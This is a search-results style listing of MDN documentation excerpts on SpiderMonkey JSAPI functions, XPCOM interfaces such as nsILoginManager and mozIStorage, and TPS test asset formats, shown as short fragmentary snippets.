... syntax void js_leavecompartment(jscontext *cx, jscompartment *oldcompartment); name type description cx jscontext * the context in which to leave the compartment.
... see also mxr id search for js_leavecompartment js_entercompartment jsautocompartment bug 786068 ...
JS_LookupElement
syntax bool js_lookupelement(jscontext *cx, js::handleobject obj, uint32_t index, js::mutablehandlevalue vp); name type description cx jscontext * the context in which to look up the property.
... obj js::handleobject the object to search.
...if no such property exists, js_lookupelement sets *vp to undefined and returns true (to indicate that no error occurred).
JS_NewArrayObject
syntax jsobject * js_newarrayobject(jscontext *cx, const js::handlevaluearray& contents); // added in spidermonkey 31 jsobject * js_newarrayobject(jscontext *cx, size_t length); // added in spidermonkey 31 jsobject * js_newarrayobject(jscontext *cx, int length, jsval *vector); // obsolete since jsapi 30 name type description cx jscontext * the context in which to create the new array.
...if vector is non-null, then for each index i from 0 to length - 1, js_newarrayobject defines an enumerable array element with the value vector[i] on the new array.
... see also mxr id search for js_newarrayobject bug 969812 - change parameter to contents ...
JS_NewDateObject
syntax jsobject * js_newdateobject(jscontext *cx, int year, int mon, int mday, int hour, int min, int sec); name type description cx jscontext * the context in which to create the new date object.
... description creates and returns a new jsobject representing a javascript date object, which is pre-configured using the specified values.
... see also mxr id search for js_newdateobject js_newdateobjectmsec js_objectisdate bug 625870 ...
JS_NewDateObjectMsec
this article covers features introduced in spidermonkey 1.8.5 creates a new date object instance, configured to represent the date and time indicated by the specified time in milliseconds since the unix epoch.
... msec double time since unix epoch in milliseconds.
...see also mxr id search for js_newdateobjectmsec js_newdateobject js_objectisdate bug 625870 ...
JS_NewPropertyIterator
syntax jsobject * js_newpropertyiterator(jscontext *cx, js::handle<jsobject*> obj); name type description cx jscontext * the js context in which to enumerate properties.
...(this differs from longstanding for..in loop order, which uses the order in which obj's properties were defined.
... note also that while for..in includes properties inherited from prototypes, iterator objects do not.) on success, this returns an iterator object that can be passed to js_nextproperty to fetch the property ids.
JS_Now
microseconds since the epoch, midnight, january 1, 1970 utc.
... syntax int64_t js_now(void); description js_now returns microseconds since the epoch, midnight, january 1, 1970 utc.
... see also mxr id search for js_now ...
JS_PopArguments
syntax void js_poparguments(jscontext *cx, void *mark); name type description cx jscontext * pointer to a js context from which to derive runtime information.
... mark void * pointer to a void * which holds the stack frame pointer previously supplied by js_pusharguments.
... description js_poparguments frees the stack frame pointer previously allocated by js_pusharguments and unroots the jsvals which have been associated with it (those returned by js_pusharguments as well).
JS_PreventExtensions
the first case occurs when something went wrong internally, not necessarily because the object chose not to become non-extensible.
... thus you should always check the return value of js_preventextensions, and only if that is true check the value of *succeeded.
... see also mxr id search for js_preventextensions bug 1113369 -- added result parameter ...
JS_ReportOutOfMemory
syntax void js_reportoutofmemory(jscontext *cx); void js_reportallocationoverflow(jscontext *cx); // added in spidermonkey 1.8 name type description cx jscontext * the context in which to report the error.
...when a script tries to grow an array beyond 230-1 elements, for example, or concatenate strings such that the result is more than 229-1 characters long, the javascript engine reports an error as though by calling this function.
... see also mxr id search for js_reportoutofmemory mxr id search for js_reportallocationoverflow bug 422348 ...
JS_ReportPendingException
syntax bool js_reportpendingexception(jscontext *cx); name type description cx jscontext * the context in which the exception was thrown.
...this function can be used to catch exceptions thrown from scripts and send them to the error reporter to be logged or ignored.
...see also mxr id search for js_reportpendingexception ...
JS_RestoreExceptionState
syntax void js_restoreexceptionstate(jscontext *cx, jsexceptionstate *state); name type description cx jscontext * pointer to a js context from which to derive runtime information.
... description this function permits to restore any previously saved exception state which was saved into a jsexceptionstate object created by the js_saveexceptionstate function.
...see also mxr id search for js_restorestateexception jsexceptionstate js_saveexceptionstate js_dropexceptionstate ...
JS_SaveExceptionState
syntax jsexceptionstate * js_saveexceptionstate(jscontext *cx); name type description cx jscontext * pointer to a js context from which to derive runtime information.
...the jsexceptionstate created by this function automatically roots any pending exception object which needs to be protected from the gc.
...see also mxr id search for js_saveexceptionstate jsexceptionstate js_restoreexceptionstate js_dropexceptionstate ...
JS_SetArrayLength
syntax bool js_setarraylength(jscontext *cx, js::handle<jsobject*> obj, uint32_t length); name type description cx jscontext * the context in which to change the length of the array.
...you can call js_setarraylength either to set the number of elements for an array object you created without specifying an initial number of elements, or to change the number of elements allocated for an array.
...see also mxr id search for js_setarraylength js_defineelement js_deleteelement js_getarraylength js_getelement js_isarrayobject js_lookupelement js_newarrayobject js_setelement ...
JS_SetContextCallback
added in spidermonkey 31 callback syntax typedef bool (* jscontextcallback)(jscontext *cx, unsigned contextop, void *data); name type description cx jscontext * pointer to a jscontext which the callback may use to call into jsapi functions.
... this is the context which was just created, or is about to be destroyed.
...see also mxr id search for js_setcontextcallback js_newcontext js_destroycontext js_destroycontextnogc js_destroycontextmaybegc js_getcontextprivate js_setcontextprivate bug 845545 ...
JS_SetPendingException
syntax void js_setpendingexception(jscontext *cx, js::handlevalue v); name type description cx jscontext * pointer to a js context from which to derive runtime information.
...each jscontext's pending-exception field is a gc root.
...see also mxr id search for js_setpendingexception js_isexceptionpending js_getpendingexception js_clearpendingexception js_reportpendingexception ...
JS_SetThreadStackLimit
enable or disable checks to avoid overflowing the c stack.
...to disable stack size checking, pass 0 for limitaddr.
...(see also js_setcontextthread and js_clearcontextthread.) see also mxr id search for js_setthreadstacklimit js_setnativestackquota bug 723021 ...
JS_SetVersion
syntax jsversion js_setversion(jscontext *cx, jsversion version); name type description cx jscontext * pointer to a js context from which to derive runtime information.
...js_setversion returns the js version in effect for the context before you changed it.
... see also mxr id search for js_setversion jsversion js_getversion js_versiontostring js_stringtoversion bug 880917 ...
JS_SuspendRequest
savedepth jsrefcount (only in js_resumerequest) the valued returned by the matching js_suspendrequest call.
...the savedepth argument must be the value returned by the matching js_suspendrequest call.
... mxr id search for js_suspendrequest mxr id search for js_resumerequest ...
JS_VersionToString
syntax const char * js_versiontostring(jsversion version); name type description version jsversion version value to convert.
... description js_versiontostring attempts to convert the version to a const char * string representation.
..." obsolete since jsapi 24 jsversion_1_4 "1.4" obsolete since jsapi 24 jsversion_ecma_3 "ecmav3" jsversion_1_5 "1.5" obsolete since jsapi 24 jsversion_1_6 "1.6" jsversion_1_7 "1.7" jsversion_1_8 "1.8" jsversion_ecma_5 "ecmav5" jsversion_default "default" other null see also mxr id search for js_stringtoversion jsversion js_getversion js_setversionforcompartment js_stringtoversion bug 824312 ...
Stored value
the stored value is updated each time the program gets or sets the property.
...js_lookupproperty fetches a property's stored value without triggering its getter.
...as long as an object is reachable, the stored values of its properties are reachable and will not be collected.
Profiling SpiderMonkey
here are some instrumented tests to work from: media:profiling-ammo.zip 3.) once you have some changes you'd like to try, you can just rebuild the js/src directory, since it produces its own shared library, even in libxul and static builds.
...we're working to add support for other profilers, such as oprofile, intel vtune, and callgrind.
...costs of thread safety currently, threadsafe spidermonkey costs us 10-15% on some benchmarks vs.
TPS History Lists
an array of objects representing visits to the page, each object has the following properties: type: required.
...it's an array of objects, each of which represents a type of history to delete.
... there are three different types: to delete all references to a specific page from history, use an object with a uri property to delete all references to all pages from a specific host, use an object with a host property to delete all history in a certain time period, use an object with begin and end properties, which should have integer values that express time since the present in hours (see date above) for example: var history_to_delete = [ { uri: "http://www.cnn.com/" }, { begin: -24, end: -1 }, { host: "www.google.com" } ]; history lists and phase actions history lists cannot be modified, they can only be added, deleted, and verified, using the following functions: history.add history.delete history.verify history.verifynot ...
TPS Password Lists
a password asset list is an array of objects, each representing a stored password.
... for example: var password_list = [ { hostname: "http://www.example.com", submiturl: "http://login.example.com", username: "joe", password: "secret123", usernamefield: "uname", passwordfield: "pword", changes: { password: "zippity-do-dah" } }, { hostname: "http://www.example.com", realm: "login", username: "joe", password: "secretlogin" } ]; each object has the following properties: hostname: the hostname for the password.
...changes: an object containing any of the above properties, which are applied during a modify action.
Zest usecase: Reporting Security Vulnerabilities to Developers
also security teams often use tools which the developers do not have access to or have no experience with.
...while it will still be necessary to describe vulnerabilities, zest allows security teams to create reproducible test cases which they can then share with the developers.
...in this case the sequence of events could be: the security team discovers a vulnerability using specialist security tools they use those tools to create a zest script which reproduces the problem they hand the script over to the developer the developer adjusts the script to match their local environment they run the script and see the vulnerability they fix the vulnerability they rerun the script to check that the vulnerability is fixed the fix is applied to the system that the security team is testing the security team rerun the script as an initial c...
extIExtension
firstrun readonly attribute boolean indicates whether this is the extension's first run after install prefs readonly attribute extipreferencebranch the preferences object for the extension.
... defaults to the "extensions.<extensionid>." branch.
...a preference "install-event-fired" under your extensions preferences branch (e.g.
Inheriting from implementation classes
given that idl interfaces map to abstract classes in c++, a common problem when dealing with idl is when you have an idl inheritance hierarchy, and a corresponding c++ implementation hierarchy, you run into multiple inheritance.
...the inheriting classes (b, c here) don't need to change their macros.
... see also dbaron's coding practices nsisupportsimpl.h comments author ben bucksch.
Components.utils.evalInWindow
this is useful for privileged code, such as add-on code, to access variables and apis defined in web content.
...this function is made available as a global in sandboxes which have the wantexporthelpers option set in the sandbox() constructor.
... window : object the window in which to evaluate the script.
Components.utils.unwaiveXrays
syntax xray = components.utils.unwaivexrays(obj); parameters obj the object for which we wish to restore xrays.
...example suppose a page script adds an expando to its global window: // page script foo = "i'm an expando"; by default, chrome code won't see foo, because it sees the content window with xray vision, but the chrome code can waive xray protection.
... the chrome code can then use unwaivexrays to restore xray protection: // chrome code // contentwindow is an xray var isxray = components.utils.isxraywrapper(gbrowser.contentwindow); // true // expandos are not visible in xrays var foo = gbrowser.contentwindow.foo; // undefined // you can waive xray vision for an object var waived = components.utils.waivexrays(gbrowser.contentwindow); isxray = components.utils.isxraywrapper(waived); // false foo = waived.foo; // "i'm an expando" // waiving is transitive isxray = components.utils.isxraywrapper(waived.document); // false // use unwaivexrays to undo the waiver var unwaived = components.utils.unwaivexrays(waived); isxray = c...
nsIRegistry
try { st.first(); do { var data = st.currentitem(); if( data instanceof ci.nsiregistrynode ) print("nsiregistrynode: " + data.nameutf8 + " (" + data.key + ")"); st.next(); } while( components.lastresult == 0 ); } catch(e) {} now, the output is something like: profiles (344) profiles/default (530) profiles/foo (1046) profiles/bar (1518) the number inside the parenthesis is the "key." you can use this key with the rest of the nsiregistry api (see mxr).
... now, i know from visual inspection that there's a key called "directory" for each profile.
...can we change it?
Profiling XPCShell
introduction sometimes, you might want to get a performance profile of a certain piece of javascript (like an xpcom module), to see which part takes the most time.
...but sometimes, venkman gives too much noise (because it also profiles chrome code).
...a profile will look like this: file:///users/michiel/mozilla/tree1/...js/calutils.js [2,25420] createdatetime() {60-62} 579 {min 0, max 3, avg 0, sum 427, self 427} [2,56810] cp_qi() {860-866} 835 {min 0, max 1, avg 0, sum 950, self 950} the first line tells which file was profiled.
xpcshell
it should be executed under the window command prompt source_directory/obj-xxxxx/dist/bin> xpcshell.exe using the latest version of javascript at present, xpcshell doesn't use the latest version of javascript, so newer language features, such as the let statement introduced in javascript 1.7, are not available.
... to rectify this, run xpcshell with the -v 180 command-line option, which tells xpcshell to use javascript 1.8.
... pretty much all mozilla programs use xpcom components via xpconnect.
nsCStringEncoding
« xpcom api reference summary the nscstringencoding enumeration describes the set of character encodings understood by the ns_cstringtoutf16 and ns_utf16tocstring functions.
...ns_cstring_encoding_native_filesystem conversion from utf-16 to the native filesystem charset may result in a loss of information.
...the native filesystem charset applies to strings passed to the "native" method variants on nsifile and nsilocalfile.
Realloc
this may be nsnull, in which case realloc behaves like nsmemory::alloc.
...this may be 0, in which case realloc behaves like nsmemory::free.
... remarks if aptr is non-null, then its contents will be unchanged to the minimum of the old and new sizes.
amIWebInstaller
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) method overview boolean installaddonsfromwebpage(in astring amimetype, in nsidomwindow awindow, in nsiuri areferer, [array, size_is(ainstallcount)] in wstring auris, [array, size_is(ainstallcount)] in wstring ahashes, [array, size_is(ainstallcount)] in wstring anames, [array, size_is(ainstallcount)] in wstring aicons, [optional] in amiinstallcallback acallback, [optional] in pruint32 ainstallcount); boolean isinstallenabled(in astring amimetype, in nsiuri areferer); note: pr...
...isinstallenabled() checks if installation is enabled for a web page.
... areferer the uri of the web page for which to see if installation is allowed.
imgIDecoder
inherits from: nsisupports last changed in gecko 1.7 this interface is the base class for decoders for specific image formats.
...if this method was provided as an external facility, a separate char * buffer would need to be used in order to call the output stream's other write() method.
... unsigned long writefrom( in nsiinputstream instr, in unsigned long count ); parameters instr the stream from which to read the encoded image data.
mozIStorageError
last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: nsisupports attributes attribute type description message autf8string a human readable error string with details; this may be null if no details are available.
... schema 17 the database schema changed.
... mismatch 20 a data type mismatch occurred.
mozIStoragePendingStatement
the mozistoragependingstatement interface represents a pending asynchronous database statement, and offers the cancel() method which allows you to cancel the pending statement.
... last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsisupports method overview void cancel(); methods cancel() cancels the pending statement.
...note: for read statements, such as select, once you cancel the statement, you will receive no further notifications about results.
mozIStorageProgressHandler
last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports method overview boolean onprogress(in mozistorageconnection aconnection); methods onprogress() the onprogress() method is called periodically while an sqlite operation is ongoing.
... boolean onprogress( in mozistorageconnection aconnection ); parameters <tt>aconnection</tt> a mozistorageconnection connection indicating the connection for which the callback was invoked.
...mozistoragevaluearray wraps an array of sql values, such as a result row.
mozIStorageStatementWrapper
when you call the mozistorageconnection interface's createstatement() method, you get a mozistoragestatement which has just direct bindings to sqlite.
... you can then wrap that statement with a wrapper, which implements nsixpcscriptable and provides scriptable helpers letting you execute the statement as a function, access bind variables by name as properties, etc.
... last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports method overview void initialize(in mozistoragestatement astatement); void reset(); boolean step(); void execute(); attributes attribute type description statement mozistoragestatement the statement that is wrapped.
mozIVisitStatusCallback
toolkit/components/places/moziasynchistory.idlscriptable this interface provides callback handling functionality for moziasynchistory.isurivisited 1.0 66 introduced gecko 11.0 inherits from: nsisupports last changed in gecko 11.0 (firefox 11.0 / thunderbird 11.0 / seamonkey 2.8) method overview void isvisited(in nsiuri auri, in boolean avisitedstatus); methods isvisited() called when the moziasynchistory.isurivisited() method's check to determine whether a given uri has been visited has completed.
...void isvisited( in nsiuri auri, in boolean avisitedstatus ); parameters auri the uri that was checked to see if it's been visited.
... see also moziasynchistory ...
nsIAccessibleImage
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void getimageposition(in unsigned long coordtype, out long x, out long y); void getimagesize(out long width, out long height); methods getimageposition() returns the coordinates of the image accessible.
... exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree.
... exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree.
nsIAnnotationObserver
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void onitemannotationremoved(in long long aitemid, in autf8string aname); void onitemannotationset(in long long aitemid, in autf8string aname); void onpageannotationremoved(in nsiuri auri, in autf8string aname); void onpageannotationset(in nsiuri apage, in autf8string aname); methods onitemannotationremoved() this method is called when an annotation is deleted for an item.
...void onitemannotationset( in long long aitemid, in autf8string aname ); parameters aitemid the item on which the annotation is to be set.
...void onpageannotationset( in nsiuri apage, in autf8string aname ); parameters apage the uri on which the annotation is to be set.
nsIAsyncVerifyRedirectCallback
netwerk/base/public/nsiasyncverifyredirectcallback.idlscriptable implement this interface to receive a callback that lets you know whether an asynchronous redirect was verified or vetoed.
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this interface implements the callbacks passed to the nsichanneleventsink.asynconchannelredirect() method.
... method overview void onredirectverifycallback(in nsresult result); methods onredirectverifycallback() implements the asynchronous callback passed to nsichanneleventsink.asynconchannelredirect().
nsIAuthPrompt
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) this interface is implemented by @mozilla.org/login-manager/prompter;1.
...if a username is specified (http://user@site.com) it will be used when matching existing logins or saving new ones.
... if no username is specified, only password-only logins will be matched or saved.
nsIAutoCompleteListener
inherits from: nsisupports last changed in gecko 1.7 method overview void onautocomplete(in nsiautocompleteresults result, in autocompletestatus status); void onstatus(in wstring statustext); attributes attribute type description param nsisupports private parameter used by the autocomplete widget.
... methods onautocomplete() called by the autocomplete session when the search is done or over.
... onstatus() called by the autocomplete session during the search.
nsIBoxObject
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) to get an instance, use the boxobject property.
... firstchild nsidomelement the first child of the box, in box-ordinal-group order.
... lastchild nsidomelement the last child of the box, in box-ordinal-group order.
nsIClipboardDragDropHookList
it provides basic operations such as adding, removing and enumerating clipboard hooks for the nsiclipboarddragdrophooks interface.
... inherits from: nsisupports last changed in gecko 1.7 note: this interface is not intended for direct use by embedders; it is an implementation detail.
... gethookenumerator() this method retrieves an enumerator for all hooks which have been added.
nsIDOMElement
inherits from: nsidomnode last changed in gecko 1.7 method overview domstring getattribute(in domstring name); nsidomattr getattributenode(in domstring name); nsidomattr getattributenodens(in domstring namespaceuri, in domstring localname); domstring getattributens(in domstring namespaceuri, in domstring localname); nsidomnodelist getelementsbytagname(in domstring name); nsidomnodelist getelementsbytagnamens(in domstring namespaceuri, in domstring localname); boolean hasattribute(in domstring name); boolean hasattributens(in domstring namespaceuri, in domstring localname); void removeattribute(in domstring name) nsidomattr removeattributenode(i...
...hasattribute() check if the element have this attribute set.
...hasattributens() check if the element for a given namespace have this attribute set.
nsIDOMGeoPositionCoords
last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: nsisupports attributes attribute type description latitude double the user's current latitude, in degrees.
... heading double the current heading at which the user is moving, in degrees.
... speed double the speed at which the user is moving, in meters per second (confirm this).
nsIDOMXULLabeledControlElement
inherits from: nsidomxulcontrolelement last changed in gecko 1.7 attributes attribute type description accesskey domstring this should be set to a character that is used as a shortcut key.
... this should be one of the characters that appears in the label for the element.
...on non-macintosh platforms, the character on the element's label matching the access key is underlined.
nsIDataSignatureVerifier
security/manager/ssl/public/nsidatasignatureverifier.idlscriptable an interface for verifying that a given string of data was signed by the private key matching the given public key.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview boolean verifydata(in acstring adata, in acstring asignature, in acstring apublickey); methods verifydata() verifies that the data matches the data that was used to generate the signature.
... return value true if the signature matches the data, false if not.
nsIDebug
xpcom/base/nsidebug.idlscriptable provides debugging support for scripted languages, such as javascript, java, python, perl, and so forth.
... inherits from: nsisupports last changed in gecko 1.7 note: c/c++ consumers who are planning to use the nsidebug interface with the @mozilla.org/xpcom;1 contract should use ns_debugbreak() from xpcom glue instead, or alternatively the ns_abort, ns_assertion, ns_break, and ns_warning macros, which also call ns_debugbreak() if used in a debugging build.
...this allows the debugger to be attached before the software break.
nsIDeviceMotionListener
xpcom/system/nsidevicemotion.idlscriptable this interface can be implemented by clients that want to be notified orientation or acceleration changes on supported devices.
... 1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview void onmotionchange(in nsidevicemotiondata amotiondata); methods onmotionchange() called when new orientation or acceleration data is available.
... void onmotionchange( in nsidevicemotiondata amotiondata ); parameters aacceleration the nsidevicemotiondata object describing updated motion information.
nsIDialogParamBlock
embedding/components/windowwatcher/public/nsidialogparamblock.idlscriptable an interface to pass strings, integers and nsisupports to a dialog.
... inherits from: nsisupports last changed in gecko 1.7 method overview print32 getint( in print32 inindex ); wstring getstring( in print32 inindex ); void setint( in print32 inindex, in print32 inint ); void setnumberstrings( in print32 innumstrings ); void setstring( in print32 inindex, in wstring instring); attributes attribute type description objects nsimutablearray a place where you can store an nsimutablearray to pass nsisupports.
...use before setting any string (if you want to change it from the default).
nsIFactory
inherits from: nsisupports last changed in gecko 0.9.5 method overview void createinstance(in nsisupports aouter, in nsiidref iid, [retval, iid_is(iid)] out nsqiresult result); void lockfactory(in prbool lock); methods createinstance() creates an instance of the class associated with this factory.
... unlike getservice, this returns a new instance each time it is called.
... iid the iid of the interface being requested in the component which is being currently created.
nsIFaviconDataCallback
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void oncomplete(in nsiuri auri, in unsigned long adatalen, [const,array,size_is(adatalen)] in octet adata, in autf8string amimetype); methods oncomplete() called when the required favicon's information is available.
... check the method documentation to ensure that.
...it's up to the caller to check adatalen > 0 before using any data-related information like mime-type or data itself.
nsIFeedEntry
1.0 66 introduced gecko 1.8 inherits from: nsifeedcontainer last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) attributes attribute type description content nsifeedtextconstruct the full text of the entry's content.
... parent nsifeedcontainer a reference to the entry's parent, which is either a feed (nsifeed or another entry.
... published astring a string indicating the date on which the entry was published, in rfc822 format.
nsIFormHistory2
toolkit/components/satchel/public/nsiformhistory.idlscriptable a service which holds a set of name/value pairs.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) note: this interface provides no means to access stored values.
... stored values are used by the formfillcontroller to generate autocomplete matches.
nsIFrameLoaderOwner
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview [noscript, notxpcom] alreadyaddrefed_nsframeloader getframeloader(); void swapframeloaders(in nsiframeloaderowner aotherowner); attributes attribute type description frameloader nsiframeloader the frame loader owned by this nsiframeloaderowner.
...void swapframeloaders( in nsiframeloaderowner aotherowner ); parameters aotherowner the other frame loader owner with which to swap frame loaders.
... ns_error_not_implemented if the swapping logic is not implemented for the either the current frame loader owner or the specified one with which you're trying to swap.
nsIIDNService
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) implemented by: @mozilla.org/network/idn-service;1 as a service: var idnservice = components.classes["@mozilla.org/network/idn-service;1"] .getservice(components.interfaces.nsiidnservice); method overview autf8string convertacetoutf8(in acstring input); autf8string converttodisplayidn(in autf8string input, out boolean isascii); acstring convertutf8toace(in autf8string input); boolean isace(in acstring input); autf8string normalize(in autf8string input); methods convertacetoutf8() converts an ac...
...boolean isace( in acstring input ); parameters input the string to check.
...see also idn charter idn site idna specification ...
nsIInstallLocation
1.0 66 introduced gecko 1.8 obsolete gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) note: while this api still works, firefox 4 no longer extracts xpis by default, so this will now point to the xpi file instead of to the directory.
...note: this is a clone of the actual location which the caller can modify freely.
...you should not use the exact values here, you should offset from these values each time you create a new install location.
nsILoadGroup
inherits from: nsirequest last changed in gecko 1.7 method overview void addrequest(in nsirequest arequest, in nsisupports acontext); void removerequest(in nsirequest arequest, in nsisupports acontext, in nsresult astatus); attributes attribute type description activecount unsigned long returns the count of "active" requests (that is requests without the load_background bit set).
...each time a number of requests are added to a group, the defaultloadrequest may be set to indicate that all of the requests are related to a base request.
...if the default load request is null, then the group's load flags are not changed.
Using nsILoginManager
to do so securely, they can use nsiloginmanager, which provides for secure storage of sensitive password information and nsilogininfo, which provides a way of storing login information.
...nts.interfaces.nsilogininfo, "init" ); var logininfo = new nslogininfo( hostname, formsubmiturl, httprealm, username, password, usernamefield, passwordfield ); examples creating a login for a web page var formlogininfo = new nslogininfo( 'http://www.example.com', 'http://login.example.com', null, 'joe', 'secret123', 'uname', 'pword' ); this login would correspond to a html form such as: <form action="http://login.example.com/foo/authenticate.cgi"> <div>please log in.</div> <label>username:</label> <input type="text" name="uname"> <label>password:</label> <input type="password" name="pword"> </form> creating a site authentication login var authlogininfo = new nslogininfo( 'http://www.example.com', null, 'exampleco login', 'alice', 'secret321', "", "" ); this w...
...ould correspond to a login on http://www.example.com when the server sends a reply such as: http/1.0 401 authorization required server: apache/1.3.27 www-authenticate: basic realm="exampleco login" creating a local extension login var extlogininfo = new nslogininfo( 'chrome://firefoo', null, 'user registration', 'bob', '123secret', "", "" ); from a component creating a new info block is done slightly differently: var nslogininfo = new constructor("@org/manager/ci.init"); var extlogininfo = new aformsubmiturl, ausername, ausernamefield, ...
nsIModule
xpcom/components/nsimodule.idlscriptable this interface must be implemented by each xpcom component.
... it is the main entry point by which the system accesses an xpcom component.
... inherits from: nsisupports last changed in gecko 0.9.9 method overview boolean canunload(in nsicomponentmanager acompmgr); void getclassobject(in nsicomponentmanager acompmgr, in nscidref aclass, in nsiidref aiid, [retval, iid_is(aiid)] out nsqiresult aresult); void registerself(in nsicomponentmanager acompmgr, in nsifile alocation, in string aloaderstr, in string atype); void unregisterself(in nsicomponentmanager acompmgr, in nsifile alocation, in string aloaderstr); methods canunload() this method may be queried to determine whether or not the component module can be unloaded by xpcom.
nsIMsgFilter
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgfilter.idl attributes type attribute nsmsgruleactiontype type; priority // target priority..
...throws an exception if the action is not label attribute nsmsglabelvalue label; junkscore attribute long junkscore; strvalue attribute autf8string strvalue; customid // action id if type is custom attribute acstring customid; customaction // custom action associated with customid // (which must be set prior to reading this attribute) readonly attribute nsimsgfiltercustomaction customaction; methods addterm() void nsimsgfilter::addterm ( in nsmsgsearchattribvalue attrib, in nsmsgsearchopvalue op, in nsimsgsearchvalue value, in boolean booleanand, in acstring arbitraryheader ) getterm() void nsimsgfilter::ge...
...tterm ( in long termindex, in nsmsgsearchattribvalue attrib, in nsmsgsearchopvalue op, in nsimsgsearchvalue value, out boolean booleanand, out acstring arbitraryheader ) appendterm() void nsimsgfilter::appendterm (in nsimsgsearchterm term) createterm() nsimsgsearchterm nsimsgfilter::createterm ( ) matchhdr() void nsimsgfilter::matchhdr ( in nsimsgdbhdr msghdr, in nsimsgfolder folder, in nsimsgdatabase db, in string headers, in unsigned long headersize, out boolean result ) logrulehit() void nsimsgfilter::logrulehit ( in nsimsgruleaction afilteraction, in nsimsgdbhdr aheader ) createaction() nsimsgruleaction nsimsgfilter::create...
nsIObserverService
inherits from: nsisupports last changed in gecko 0.9.6 the xpcom nsobserverservice implements this interface to provide global notifications for a variety of subsystems.
... void addobserver( in nsiobserver anobserver, in string atopic, in boolean ownsweak ); parameters anobserver the nsiobserver object which will receive notifications.
... example this notifies all nsiobservers watching the "mytopicid" topic with an additional data parameter.
nsIPasswordManager
netwerk/base/public/nsipasswordmanager.idlscriptable used to interface with the built-in password manager 66 introduced gecko 1.0 deprecated gecko 1.9 inherits from: nsisupports last changed in gecko 1.0 see using nsipasswordmanager for examples.
... void addreject(in autf8string ahost); parameters ahost the name of the hostname for which passwords should no longer be saved.
... void removereject(in autf8string ahost); parameters ahost the name of the hostname for which passwords can be saved again.
nsIPermission
the nsipermission interface defines a "permission" object, which is used to allow or block objects (for example cookies, images) from certain sites based on user preferences.
... last changed in gecko 2 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) inherits from: nsisupports attributes attribute type description capability pruint32 the permission to set: allow, deny, or unknown (which is the default).
... host autf8string the host, that is uri, on which the permission is applied.
nsIProcess2
1.0 66 introduced gecko 1.9.1 obsolete gecko 1.9.2 inherits from: nsiprocess last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) gecko 1.9.2 note this interface was removed in gecko 1.9.2 and its method added to nsiprocess.
...to create an instance, use: var process2 = components.classes["@mozilla.org/process/util;1"] .createinstance(components.interfaces.nsiprocess2); method overview void runasync([array, size_is(count)] in string args, in unsigned long count, [optional] in nsiobserver observer, [optional] in boolean holdweak); methods runasync() asynchronously runs the process with which the object was initialized, optionally calling an observer when the process finishes running.
... void runasync( [array, size_is(count)] in string args, in unsigned long count, in nsiobserver observer, optional in boolean holdweak optional ); parameters args an array of arguments to pass into the process, using the native character set.
nsIProfileLock
inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void unlock(); attributes attribute type description directory nsilocalfile the main profile directory.
... localdirectory nsilocalfile a directory corresponding to the main profile directory, which exists for the purpose of storing data on the local filesystem, including cache files or other data files that may not represent critical user data.
... (for example, this directory may not be included as part of a backup scheme.) in some cases, this directory may just be the main profile directory.
nsIPropertyBag2
inherits from: nsipropertybag last changed in gecko 1.0 method overview nsivariant get(in astring prop); acstring getpropertyasacstring(in astring prop); astring getpropertyasastring(in astring prop); autf8string getpropertyasautf8string(in astring prop); boolean getpropertyasbool(in astring prop); double getpropertyasdouble(in astring prop); print32 getpropertyasint32(in astring prop); print64 getpropertyasint64(in astring prop); void getpropertyasinterface(in astring prop, in nsiidref iid, [iid_is(iid), retval] out nsqiresult result); pruint32 getp...
...haskey() check for the existence of a key.
... prbool haskey( in astring prop ); parameters prop property to check for key existence.
nsIPushSubscription
inherits from: nsisupports last changed in gecko 46.0 (firefox 46.0 / thunderbird 46.0 / seamonkey 2.43) each subscription is associated with a unique url generated by the push service.
... lastpush long long the last time a message was sent to this subscription, in milliseconds since the epoch.
... key: string.fromcharcode.apply(null, btoa(subscription.getkey("p256dh"))), secret: string.fromcharcode.apply(null, btoa(subscription.getkey("auth"))), })); } pushservice.subscribe( "chrome://my-module/push", scriptsecuritymanager.getsystemprincipal(), (code, subscription) => { if (!components.issuccesscode(code)) { cu.reporterror("error creating subscription: " + code); } else { sen...
nsIRequestObserver
netwerk/base/public/nsirequestobserver.idlscriptable this interface is used by various streams (such as nsichannel ) to indicate the start and end of a request.
